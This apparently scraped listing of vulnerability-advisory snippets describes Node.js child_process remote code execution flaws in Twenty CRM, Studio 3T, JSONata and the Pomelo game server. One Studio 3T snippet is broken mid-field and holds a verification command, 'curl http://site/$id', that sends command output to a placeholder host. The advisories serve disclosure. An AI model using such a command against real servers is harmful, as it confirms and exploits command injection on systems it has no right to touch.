CVE-2026-26720-Twenty-RCE

Twenty CRM - 已认证远程代码执行（RCE） 概述 产品： Twenty CRM 漏洞： 通过无服务器工作流函数实现远程代码执行（RCE） 严重性： 严重 受影响组件： 工作流自动化（代码 - 无服务器函数） 测试版本： v1.15.0 本仓库记录了 Twenty CRM 工作流引擎中的一个严重漏洞。“代码 - 无服务器函数”组件允许已认证用户执行任意 Node.js 代码。由于缺乏沙箱隔离，攻击者可以导入 childprocess 模块并在宿主服务器上执行系统级命令。 漏洞详情...

CVE-2025-52385

CVE-2025-52385 软件 : Studio 3T v.2025.1.0 漏洞报告 : Studio 3T 远程命令执行 概述 Studio 3T 版本 2025.1.0 及更早版本中存在一个严重漏洞，允许远程攻击者通过利用 IntelliShell 组件中的 childprocess 模块构造恶意载荷执行任意代码。 详情 漏洞类型: 远程命令执行 受影响产品: Studio 3T，版本 console.logstdout; 或者，使用以下命令作为验证向量：curl http://site/$id 参考 Studio 3T 官方网站 Studio 3T GitHub 仓库...

The vulnerability of the lookup() function in the child_process module of the json-data transformation software JSONata allows a attacker to execute arbitrary code.

The vulnerability of the lookup function in the childprocess module of the json-data transformation software JSONata is related to improper code generation. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

CVE-2025-52385: Improper Control of Generation of Code

An issue in Studio 3T v.2025.1.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the childprocess module...

Netease open source Pomelo game server framework is not authorized to access leads to remote command execution

Pomelo is a piece of Netease open source based on Node.js the game server framework, which is based on Node.js high-performance, distributed game server framework. It includes the basis of the development framework and the associated expansion components, libraries and tools packages, can help sa...